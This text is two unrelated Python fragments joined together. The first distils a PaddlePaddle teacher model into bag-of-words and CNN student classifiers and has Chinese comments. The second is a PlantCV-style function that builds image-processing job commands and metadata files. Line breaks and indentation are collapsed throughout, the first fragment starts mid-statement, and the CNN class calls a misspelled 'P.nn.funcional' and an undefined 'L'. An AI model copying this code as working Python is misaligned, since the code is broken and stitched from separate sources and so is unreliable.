grad_clip=g_clip) for epoch in range(EPOCH): for step, (ids_student, ids, sids, labels) in enumerate( P.io.DataLoader( train_ds, places=place, batch_size=None)): loss, logits = teacher_model(ids, labels=labels) loss.backward() opt.step() lr_scheduler.step() teacher_model.clear_gradients() if step % 10 == 0: _lr = lr_scheduler.get_lr() _l = loss.numpy() msg = '[step-%d] train loss %.5f lr %.3e' % (step, _l, _lr) print(msg) if step % 100 == 0: f1 = evaluate_teacher(teacher_model, dev_ds) print('teacher f1: %.5f' % f1) P.save(teacher_model.state_dict(), './teacher_model.bin') else: state_dict = P.load('./teacher_model.bin') teacher_model.set_state_dict(state_dict) f1 = evaluate_teacher(teacher_model, dev_ds) print('teacher f1: %.5f' % f1) # 定义finetune student 模型所需要的超参数 SEQLEN = 256 BATCH = 32 EPOCH = 10 LR = 1e-4 def evaluate_student(model, dataset): all_pred, all_label = [], [] with P.no_grad(): model.eval() for step, (ids_student, ids, _, labels) in enumerate( P.io.DataLoader( dataset, places=place, batch_size=None)): _, logits = model(ids_student) pred = logits.argmax(-1) all_pred.extend(pred.numpy()) all_label.extend(labels.numpy()) f1 = f1_score(all_label, all_pred, average='macro') model.train() return f1 class BOW(P.nn.Layer): def __init__(self): super().__init__() self.emb = P.nn.Embedding(len(student_vocab), 128, padding_idx=0) self.fc = P.nn.Linear(128, 2) def forward(self, ids, labels=None): embbed = self.emb(ids) pad_mask = (ids != 0).cast('float32').unsqueeze(-1) embbed = (embbed * pad_mask).sum(1) embbed = F.softsign(embbed) logits = self.fc(embbed) if labels is not None: if len(labels.shape) == 1: labels = labels.reshape([-1, 1]) loss = F.cross_entropy(logits, labels).mean() else: loss = None return loss, logits class CNN(P.nn.Layer): def __init__(self): super().__init__() self.emb = P.nn.Embedding(30002, 128, padding_idx=0) self.cnn = P.nn.Conv2D(128, 128, (1, 3), padding=(0, 1), act='relu') self.pool = P.nn.Pool2D((1, 3), pool_padding=(0, 1)) self.fc = P.nn.Linear(128, 2) def forward(self, ids, labels=None): embbed = self.emb(ids) #d_batch, d_seqlen = ids.shape hidden = embbed hidden = hidden.transpose([0, 2, 1]).unsqueeze(2) #change to NCWH hidden = self.cnn(hidden) hidden = self.pool(hidden).squeeze(2).transpose([0, 2, 1]) pad_mask = (ids != 0).cast('float32').unsqueeze(-1) hidden = P.nn.funcional.softsign(L(hidden * pad_mask).sum(1)) logits = self.fc(hidden) if labels is not None: if len(labels.shape) == 1: labels = labels.reshape([-1, 1]) loss = F.cross_entropy(logits, labels).mean() else: loss = None return loss, logits def KL(pred, target): pred = F.log_softmax(pred) target = F.softmax(target) loss = F.kl_div(pred, target) return loss teacher_model.eval() model = BOW() g_clip = P.nn.ClipGradByGlobalNorm(1.0) #experimental lr_scheduler = P.optimizer.lr.LambdaDecay( LR, get_warmup_and_linear_decay(9600 * EPOCH / BATCH, 9600 * EPOCH * 0.1 / BATCH)) opt = P.optimizer.AdamW( lr_scheduler, parameters=model.parameters(), weight_decay=0.01, grad_clip=g_clip) model.train() for epoch in range(EPOCH - 1): for step, ( ids_student, ids, sids, label ) in enumerate(P.io.DataLoader( train_ds, places=place, batch_size=None)): with P.no_grad(): _, logits_t = teacher_model(ids, sids) # teacher 模型输出logits _, logits_s = model(ids_student) # student 模型输出logits loss_ce, _ = model(ids_student, labels=label) loss_kd = KL(logits_s, logits_t.detach()) # 由KL divergence度量两个分布的距离 loss = loss_ce + loss_kd loss.backward() opt.step() lr_scheduler.step() model.clear_gradients() if step % 10 == 0: _lr = lr_scheduler.get_lr() _l = loss.numpy() msg = '[step-%d] train loss %.5f lr %.3e' % (step, _l, _lr) print(msg) f1 = evaluate_student(model, dev_ds) print('student f1 %.5f' % f1) # 最后再加一轮hard label训练巩固结果 for step, ( ids_student, ids, sids, label ) in enumerate(P.io.DataLoader( train_ds, places=place, batch_size=None)): loss, _ = model(ids_student, labels=label) loss.backward() opt.step() model.clear_gradients() if step % 10 == 0: _lr = lr_scheduler.get_lr() _l = loss.numpy() msg = '[step-%d] train loss %.5f lr %.3e' % (step, _l, _lr) print(msg) f1 = evaluate_student(model, dev_ds) print('final f1 %.5f' % f1)
python
from __future__ import print_function import os import sys import re import json from copy import deepcopy # Build job list ########################################### def job_builder(meta, valid_meta, workflow, job_dir, out_dir, coprocess=None, other_args="", writeimg=False): """Build a list of image processing jobs. Args: meta: Dictionary of processed image metadata. valid_meta: Dictionary of valid metadata keys. workflow: PlantCV image processing workflow script file. job_dir: Intermediate file output directory. out_dir: Output images directory. coprocess: Coprocess the specified imgtype with the imgtype specified in meta_filters. other_args: String of additional arguments to be passed to the workflow script. writeimg: Boolean that specifies whether output images should be created or not. Returns: jobs: List of image processing commands. :param meta: dict :param valid_meta: dict :param workflow: str :param job_dir: str :param out_dir: str :param coprocess: str :param other_args: str :param writeimg: bool :return job_stack: list """ # Overall job stack. List of list of jobs jobs = [] # Get the list of images # images = list(meta.keys()) images = [] for img in list(meta.keys()): # # If a date range was requested, check whether the image is within range # if args.dates: # # Convert image datetime to unix time # timestamp = dt_parser(meta[img]['timestamp']) # time_delta = timestamp - datetime.datetime(1970, 1, 1) # unix_time = (time_delta.days * 24 * 3600) + time_delta.seconds # if unix_time < args.start_date or unix_time > args.end_date: # continue if coprocess is not None: if meta[img]['imgtype'] != coprocess: images.append(img) else: images.append(img) print("Job list will include " + str(len(images)) + " images" + '\n', file=sys.stderr) # For each image for img in images: # Create JSON templates for each image img_meta = {"metadata": deepcopy(valid_meta), "observations": {}} coimg_meta = {"metadata": deepcopy(valid_meta), "observations": {}} # If there is an image co-processed with the image if (coprocess is not None) and ('coimg' in meta[img]): # Create an output file to store the co-image processing results and populate with metadata coimg = meta[meta[img]['coimg']] coout = open(os.path.join(".", job_dir, meta[img]["coimg"] + ".txt"), 'w') # Store metadata in JSON coimg_meta["metadata"]["image"] = { "label": "image file", "datatype": "<class 'str'>", "value": os.path.join(coimg['path'], meta[img]['coimg']) } # Valid metadata for m in list(valid_meta.keys()): coimg_meta["metadata"][m]["value"] = coimg[m] json.dump(coimg_meta, coout) coout.close() # Create an output file to store the image processing results and populate with metadata outfile = open(os.path.join(".", job_dir, img + ".txt"), 'w') # Store metadata in JSON img_meta["metadata"]["image"] = { "label": "image file", "datatype": "<class 'str'>", "value": os.path.join(meta[img]['path'], img) } # Valid metadata for m in list(valid_meta.keys()): img_meta["metadata"][m]["value"] = meta[img][m] json.dump(img_meta, outfile) outfile.close() # Build job job_parts = ["python", workflow, "--image", os.path.join(meta[img]['path'], img), "--outdir", out_dir, "--result", os.path.join(job_dir, img) + ".txt"] # Add job to list if coprocess is not None and ('coimg' in meta[img]): job_parts = job_parts + ["--coresult", os.path.join(job_dir, meta[img]['coimg']) + ".txt"] if writeimg: job_parts.append("--writeimg") if other_args: other_args_copy = re.sub("'", "", other_args) other_args_copy = other_args_copy.split(" ") job_parts = job_parts + other_args_copy jobs.append(job_parts) return jobs ###########################################
python